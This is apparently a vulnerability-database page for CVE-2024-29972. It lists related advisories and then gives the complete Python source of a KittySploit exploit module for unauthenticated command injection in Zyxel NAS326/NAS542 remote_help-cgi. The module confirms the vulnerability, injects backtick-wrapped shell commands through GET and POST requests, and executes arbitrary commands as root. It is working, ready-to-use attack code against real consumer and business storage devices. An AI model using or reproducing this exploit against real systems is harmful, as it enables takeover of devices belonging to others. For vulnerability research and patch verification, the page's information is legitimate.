Zyxel NAS remote_help RCE (CVE-2024-29972)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Zyxel Nas326_Firmware | 20 Jun 202411:12 | – | githubexploit | |
| The vulnerability of the Remote_help-cgi file in the microprogramming software for network storage devices Zyxel NAS326 and NAS542 allows a intruder to execute arbitrary code. | 5 Jun 202400:00 | – | bdu_fstec | |
| CVE-2024-29972 | 5 Jun 202417:33 | – | circl | |
| CVE-2024-29972 | 4 Jun 202401:24 | – | cve | |
| CVE-2024-29972 | 4 Jun 202401:24 | – | cvelist | |
| CVE-2024-29972 | 14 Oct 202605:55 | – | kitploit | |
| Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account Detection | 28 Jul 202611:27 | – | kittysploit | |
| Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account | 9 Oct 202602:16 | – | nuclei | |
| CVE-2024-29972 | 4 Jun 202402:15 | – | nvd | |
| Zyxel NAS Multiple Vulnerabilities (Jun 2024) - Active Check | 6 Jun 202400:00 | – | openvas |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS remote_help-cgi command injection (CVE-2024-29972)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Zyxel NAS remote_help RCE (CVE-2024-29972)',
'description': (
'Exploits CVE-2024-29972 in Zyxel NAS326/NAS542: unauthenticated command injection '
'in remote_help-cgi (NsaRescueAngel backdoor path) yields root command execution.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2024-29972'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-29972'],
'tags': ['zyxel', 'nas', 'backdoor', 'cmdi', 'rce', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2024_29972_detect']},
},
}
help_path = OptString(
'/desktop,/cgi-bin/remote_help-cgi/favicon.ico',
'remote_help-cgi endpoint',
required=False,
advanced=True,
)
def _probe(self) -> bool:
path = f'{str(self.help_path or "").strip()}?type=sshd_tdc'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return bool(r and 'result=0' in (r.text or ''))
def execute(self, cmd: str) -> str:
safe = urllib.parse.quote(str(cmd))
path = f'{str(self.help_path or "").strip()}?type=`{safe}`'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and (r.text or '').strip():
return r.text or ''
r = self.http_request(
method='POST',
path=str(self.help_path or '').strip(),
data=f'type=`{cmd}`',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
return (r.text or '') if r else ''
def check(self):
if self._probe():
return {'vulnerable': True, 'reason': 'remote_help-cgi backdoor path active', 'confidence': 'high'}
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2024-29972 injection confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Zyxel NAS 29972 not confirmed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check().get('vulnerable'):
self.not_vulnerable()
return False
if not self.check_execute():
print_warning('Injection surface confirmed — command output not reflected in-band')
self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
return True
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.89326
SSVC